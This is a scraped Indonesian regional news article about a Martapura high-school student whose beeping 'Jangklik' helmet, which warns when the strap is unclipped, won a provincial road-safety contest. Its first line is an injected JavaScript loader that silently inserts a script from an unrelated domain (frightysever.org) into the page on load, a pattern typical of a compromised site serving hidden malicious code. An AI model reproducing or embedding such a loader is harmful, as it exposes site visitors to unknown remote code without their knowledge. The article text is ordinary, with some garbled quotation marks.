(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
MARTAPURA, Setelah meraih juara satu lomba pelajar pelopor keselamatan Lalu Lintas dan Angkutan Jalan (LLAJ) tingkat Kalsel tahun 2018, Fatimatuzzahra, siswi SMA Muhammadiyah Martapura akan berlaga ke tingkat nasional, Senin (8/10).
Kepala Dinas Perhubungan Kabupaten Banjar Aidil Basith mengatakan, sebelumnya Kabupaten Banjar telah mengirim perwakilan untuk mengikuti lomba pelajar pelopor keselamatan LLAJ ke tingkat provinsi sebanyak 2 orang, salah satunya meraih juara satu yang diwakili oleh SMA Muhammadiyah Martapura atas nama Fatimatuzzahra.
“Alhamdulilah sukses meraih juara satu di tingkat Provinsi. Sekarang pelajar tersebut akan kita ikut sertakan ke tingkat nasional mewakili Kabupaten Banjar pada Senin 8 Oktober mendatang,†ujarnya.
Perlu diketahui, karya pelajar SMA Muhammadiyah Martapura itu diberi nama inovasi Helm Jangklik (Jangan Lupa Klik). Diciptakan untuk kepantingan keselamatan berlalu lintas.
Menurut Fatimatuzzahra, jika dilihat saat ini helm SNI adalah sesuatu yang vital dalam berkendara, karena dapat melindungi kepala dari benturan pada saat terjadi kecelakaan lalu lintas. Pemakaian helm SNI juga diatur dalam UU No. 22 Tahun 2009 dalam pasal 291 ayat 1 dan 2.
Namun dari realitas yang ada, saat ini memakai helm adalah hal yang diangap sepele dan tidak terlalu penting. Hal ini dibuktikan dengan data bahwa hampir 50% lebih pengendara motor tidak memakai helm SNI.
“Apalagi di daerah-daerah terpencil helm adalah sesuatu yang sangat langka, bahkan hampir bisa dikatakan tidak memakai helm adalah sesuatu yang biasa,†ujarnya.
Selain itu, masih banyak pengendara yang menggunakan helm, namun helm tersebut banyak yang tidak di-klik alias dikunci, klik merupakan salah satu unsur keselamatan dalam menggunakan helm.
“Oleh sebab itu perlu inovasi pada helm SNI yang dapat memperingatkan pengendara saat mereka lupa tidak mengklik helm,†katanya. Pembuatan helm SNI dengan inovasi berbunyi ketika tidak diklik atau helm Jangklik untuk menciptakan keselamatan berlalu lintas.
Inovasi helm Jangklik karya Zahra, yaitu mengingatkan pengendara akan keselamatan berlalu lintas dan meningkatkan kesadaran penguna helm agar mengklik helm.
“Biaya pembuatan Rp 300 ribu, masyarakat sudah bisa memiliki helm yang mempunyai banyak manfaat dan fungsi untuk keselamatan dalam bertransportasi,†pungkasnya. (rendy)
KANALKALIMANTAN.COM - Insan farmasi di Indonesia setiap tanggal 13 Februari memperingati Hari Persatuan Ahli Farmasi… Read More
KANALKALIMANTAN.COM, BANJARMASIN – Kantor Perwakilan (KPw) Bank Indonesia (BI) Provinsi Kalimantan Selatan menggelar kick off… Read More
KANALKALIMANTAN.COM, JAKARTA - Komisi Pemberantasan Korupsi (KPK) sedang mendalami hubungan antara jabatan direksi yang dimiliki… Read More
KANALKALIMANTAN.COM, BANJARMASIN – Gubernur Kalimantan Selatan (Kalsel) H Muhidin meminta langkah strategis untuk memastikan dana… Read More
KANALKALIMANTAN.COM, PARINGIN - Upaya mencegah perkawinan usia anak, Dinas Pemberdayaan Perempuan, Perlindungan Anak, Pengendalian Penduduk,… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Wakil Bupati (Wabup) Kapuas Dodo menegaskan berbagai aspirasi maupun usulan yang… Read More
This website uses cookies.